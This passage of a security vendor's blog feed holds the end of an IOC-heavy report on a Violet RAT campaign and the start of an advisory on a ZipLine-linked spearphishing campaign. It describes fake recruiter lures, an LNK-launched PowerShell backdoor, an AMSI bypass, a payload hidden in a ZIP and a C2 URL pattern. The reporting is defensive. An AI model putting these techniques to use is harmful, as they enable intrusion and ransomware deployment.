      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fake PDF LNK&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Temporary batch file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%TEMP%\r.bat&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Staging directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Setup log&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Encrypted payload&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Key file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Loader script&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Persistence shortcut&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;code-level-artefacts&quot;&gt;Code-level artefacts&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;RAT mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LApYAYSFOShHukHW&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Protocol delimiter&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Violet&amp;gt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Internal version&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Violet v5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;AES key basis&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XSXSXSX&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;XOR key&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TIeuNzM&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sha256-hashes&quot;&gt;SHA256 hashes&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;SHA256&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ba21ce348f8efda5a17fe7d52c123f4a272534b848f90dd12e702410bc0266d4&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;500ce5d0604f42137795bed1a03837e9fab1055c8db0b6ea5d7c6d64c5aa633a&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;da55783ca9c4098e5ea47e33507bd38ae9851b6617b574d1fa294a6205cb143e&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e57fa4c2b241a133e349758630f3fc0b9dae8055268452d9b28c98638894ffea&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0ddf4cfc3227294b849819d354479fcac848d85e881ae20014608554caf10cd9&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a78b29252a7954b588392b952b970da7ddb760cec7320ac4e8a50f79a8cf8f9b&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_to_startup.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;717bb7be812fe4f57d4b7f1add1654b8a2dfb6063bd616cc26748039f247c43f&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4a510219ffc0f5bc4acdf6e33d80d85d88155d88049cedaa00aaa9eed8051a3f&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;869b721401fd595867ea3320a2709d100751f8f9d25f8a59cc28af7169325131&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0c775d9263fff22c04d75d12b0a5d1a5b73c5a787a7dcdd34fabccdf9e0a0fe5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a9ebfd647cb5930c3a19c3fd66f103c06019f43aa53b8d309d31682514a9cd60&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as.dll&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;978a54a42629e0d19ef41bd5db7e560d618e1fdcc8e77c14694642840dfad8a2&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload.dat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f79b8924f58b1e98d221dfde52c4b1572dba251bbe65cd8bd44d342d70766a88&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptoLoader.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b0e033b35c17643a1d5a99b09cc43a9f0b83ab9c1ad0369f0e98f0745768ff87&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-md&quot;&gt;A machine-readable IOC file is available in the &lt;a href=&quot;/assets/advisories/RodentWeed_07_2026.csv&quot;&gt;Telekom Security malware analysis repository&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;

&lt;h3 id=&quot;scope-and-confidence&quot;&gt;Scope and confidence&lt;/h3&gt;

&lt;p&gt;This report is based on static analysis, sandbox execution, decrypted network traffic, and review of recovered files from the delivery infrastructure.&lt;/p&gt;

&lt;h3 id=&quot;analyzed-artifacts&quot;&gt;Analyzed artifacts&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artefact&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing delivery archive&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Windows Internet Shortcut&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Windows Shortcut&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WebDAV share snapshot&lt;/td&gt;
      &lt;td&gt;Delivery infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_to_startup.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Script stages&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python shellcode injector&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted payload and key material&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Decompiled .NET assembly&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 stub&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Observation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-10-15&lt;/td&gt;
      &lt;td&gt;LNK metadata timestamps observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. Reliability should be treated as limited&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-01-20&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; last modified timestamp observed in recovered package&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-03-23&lt;/td&gt;
      &lt;td&gt;Payload and staging artefacts observed on WebDAV infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-03-24&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt; and ZIP delivery artefacts observed. First phishing email observed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Early April 2026&lt;/td&gt;
      &lt;td&gt;Phishing emails became available for analysis, and deeper technical analysis of the Violet RAT v5 campaign began&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;related-reporting&quot;&gt;Related reporting&lt;/h2&gt;

&lt;p&gt;The reports below describe related tooling or overlapping tradecraft, and together they show how long this delivery pattern has been in circulation. They are useful context, not proof that every case belongs to the same actor or campaign.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Forcepoint X-Labs&lt;/strong&gt;, January 2025. Dropbox, TryCloudflare WebDAV, and Python staging delivering AsyncRAT. &lt;a href=&quot;https://www.forcepoint.com/blog/x-labs/asyncrat-reloaded-python-trycloudflare-malware&quot;&gt;forcepoint.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Deutsche Telekom CERT&lt;/strong&gt;, September 2025. Earlier public Rodent Weed reference. &lt;a href=&quot;https://x.com/DTCERT/status/1969013068374983003&quot;&gt;x.com/DTCERT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Trend Micro&lt;/strong&gt;, January 2026. Multi-stage AsyncRAT campaign via MDR, covering Dropbox, TryCloudflare, WebDAV, embedded Python, Startup persistence, and Explorer injection. &lt;a href=&quot;https://www.trendmicro.com/en_us/research/26/a/analyzing-a-a-multi-stage-asyncrat-campaign-via-mdr.html&quot;&gt;trendmicro.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SonicWall&lt;/strong&gt;, February 2026. Violet RAT campaign using a multi-stage Python loader and shellcode injection. &lt;a href=&quot;https://www.sonicwall.com/blog/inside-a-new-violetrat-campaign-multi-staged-delivery-and-stealthy-payload-execution&quot;&gt;sonicwall.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Securonix&lt;/strong&gt;, February 2026. VOID#GEIST, a Python loader with embedded runtime, encrypted RAT payloads, Startup persistence, and in-memory execution. &lt;a href=&quot;https://www.securonix.com/blog/voidgeist-stealthy-multi-stage-python-loader/&quot;&gt;securonix.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;style&gt;
.img-xs {
  width: 40%;
  max-width: 100%;
  height: auto;
  display: block;
  margin-left: auto;
  margin-right: auto;
}

.img-small {
  width: 80%;
  max-width: 100%;
  height: auto;
}

.img-large {
  width: 100%;
  max-width: 100%;
  height: auto;
}

.space-before-sm {
  margin-top: 1rem;
}

.space-before-md {
  margin-top: 2rem;
}

.space-before-lg {
  margin-top: 3rem;
}

.img-caption {
  text-align: center;
  margin-top: 0.4rem;
  font-size: 0.9rem;
  color: #666;
}

.content td:nth-child(2),
.content th:nth-child(2) {
  white-space: nowrap;
  overflow-wrap: normal;
  word-break: normal;
}

.code-caption {
    text-align: center;
    font-style: italic;
    color: #777;
    margin-top: -0.5em;
    margin-bottom: 2em;
}
&lt;/style&gt;

</content>
  </entry>
  
  <entry>
    <title>ZipLine-linked spearphishing campaign uses PowerShell backdoor and Cloudflare Tunnel</title>
    <link href="https://github.security.telekom.com/2026/06/ZipLine-linked-spearphishing-campaign.html"/>
    <id>https://github.security.telekom.com/2026/06/ZipLine-linked-spearphishing-campaign.html</id>
    <updated>2026-06-11T00:00:00+00:00</updated>
    <summary type="html">Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware. We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware. We assess this activity to be related to the ZipLine campaign, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post.</summary>
    <content type="html">&lt;p&gt;Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware.
We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware.
We assess this activity to be related to the &lt;a href=&quot;https://research.checkpoint.com/2025/zipline-phishing-campaign/&quot;&gt;ZipLine campaign&lt;/a&gt;, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post. &lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;For initial access, the attackers send targeted spearphishing emails containing a fake job offer and impersonating a legitimate recruiting agency. If the recipient shows interest, the attackers send a follow-up mail containing a URL that leads to the download of malware.
The delivered malware is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file containing embedded PowerShell code. It installs a small PowerShell backdoor that allows the attacker to execute arbitrary commands on the affected system and stage additional payloads.
We also observed the actor using Cloudflare Tunnel to hide potentially suspicious network traffic at compromised environments.&lt;/p&gt;

&lt;h2 id=&quot;attack-description&quot;&gt;Attack description&lt;/h2&gt;

&lt;h3 id=&quot;spearphishing-emails&quot;&gt;Spearphishing emails&lt;/h3&gt;
&lt;p&gt;The actor sent well-crafted emails to a small number of recipients. The initial email did not contain any malicious attachment or link. Instead, it contained German-language text in which the sender claimed to represent a recruiting agency offered information about a potential interesting job opportunity.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/Spearphising 1.png&quot; alt=&quot;Initial email with job offer&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 1: Initial email with job offer&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alpentalent[.]at&lt;/code&gt;, used in this case, is one of several domains created by the attacker for this stage of the campaign. In addition to domains already known from earlier activity, we identified at least one additional domain associated with this campaign.&lt;/p&gt;

&lt;p&gt;If victims visited the website, they were presented with a complete website designed to resemble a legitimate recruiting agency. The second domain we observed in this campaign, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steinersearch[.]at&lt;/code&gt;, followed the same pattern. The actor appears to reuse an HTML template with only minor variations. The page structure and most of the text are similar across domains, while the visual design differs slightly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/alpen.png&quot; alt=&quot;Alpentalent fake website&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 2: Alpentalent fake website&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/steiner.png&quot; alt=&quot;SteinerSearch fake website&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 3: SteinerSearch fake website&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;CERT.at recently &lt;a href=&quot;https://www.cert.at/de/aktuelles/2026/5/zipline-qilin-raas-update&quot;&gt;reported&lt;/a&gt; multiple additional domains, indicating the campaign is still ongoing.&lt;/p&gt;

&lt;p&gt;Once the victim replied to the email and expressed interest in receiving more information about the job opportunity, the actor sent a follow-up message. This message attempted to trick the victim into downloading a ZIP archive from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;herokuapp[.]com&lt;/code&gt; subdomain.&lt;/p&gt;

&lt;h3 id=&quot;backdoor&quot;&gt;Backdoor&lt;/h3&gt;
&lt;p&gt;The downloaded ZIP archive follows the naming pattern:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Dienstangebot_&amp;lt;LAST NAME&amp;gt;_&amp;lt;FIRST LETTER FIRST NAME&amp;gt;_&amp;lt;DATE&amp;gt;.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Following this pattern, we leveraged third-party telemetry to identify multiple files associated with the campaign, indicating with moderate confidence that the activity most likely began in mid-March 2026.&lt;/p&gt;

&lt;p&gt;The archive contains two decoy Microsoft Word documents and a malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.docx.lnk&lt;/code&gt; double extension. In our case, the decoy documents contained information about alleged job opportunities at the German company Rossmann.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/Ross.png&quot; alt=&quot;Decoy document with job information&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 4: “Become part of Rossmann Austria” - decoy document with job information&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Unlike the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file, the two Microsoft Word documents do not contain malware. They are used solely as decoys to distract the victim.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file executes a short but obfuscated PowerShell script. After deobfuscation, the script performs the following actions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Searches for the original ZIP archive in these Locations:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Downloads&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Documents&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Desktop&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;If the ZIP archive does not exist in one of these locations, or if the victim saved the downloaded file elsewhere, the malware stops execution.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Performs an AMSI bypass by replacing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AmsiUtils.ScanContent&lt;/code&gt; method pointer with a method pointer to a benign PowerShell method created solely for this purpose.&lt;/li&gt;
  &lt;li&gt;Reads the original downloaded ZIP archive as a raw file, searches for the marker string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SwbWu&lt;/code&gt;, and extracts another PowerShell snippet hidden after this marker. The archive is not parsed as a ZIP container at this stage. The hidden snippet can be viewed and extracted with a hex editor.
    &lt;ul&gt;
      &lt;li&gt;Executes the extracted PowerShell snippet.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/hexedit-2.png&quot; alt=&quot;Hex view of the ZIP archive&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 5: Hex view of the ZIP archive. The marker string and PowerShell code are highlighted.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The content hidden inside the ZIP archive is the actual backdoor. Its capabilities are limited, but sufficient for an attacker to steal data or download additional payloads, or execute follow-on malware such as ransomware.&lt;/p&gt;

&lt;p&gt;The backdoor performs the following actions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Extracts the contents of the original ZIP archive to&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%LOCALAPPDATA%\&amp;lt;ARCHIV FILENAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Opens the decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROSSMANN_Kandidatenbrochure.docx&lt;/code&gt; to distract the victim.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Creates a scheduled task that runs every day at 11:00. This task executes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file and serves as the persistence mechanism. The name of the scheduled task is&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;VICTIM-ID&amp;gt;c582
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Creates a victim fingerprint:
    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;Victim ID: CRC32 of the value from&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Campaign ID: CRC32 of the original ZIP archive&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Creates a Mutex named:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Global\&amp;lt;VictimID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Constructs a domain name later used as the command and control server for the backdoor. This domain is also a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;herokuapp[.]com&lt;/code&gt;-subdomain.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Communicates with the C2 server using the following URL pattern:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://*[.]herokuapp[.]com/&amp;lt;VictimID&amp;gt;c582&amp;lt;xor_hex(VictimID, &quot;[]0&quot;)&amp;gt;&amp;lt;unix_timestamp_hex&amp;gt;&amp;lt;random_hex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Requests this URL every four to six minutes. The HTTP response is decrypted using XOR with the Victim ID as the key and then evaluated.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Uses the following User-Agent string for C2 communication:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

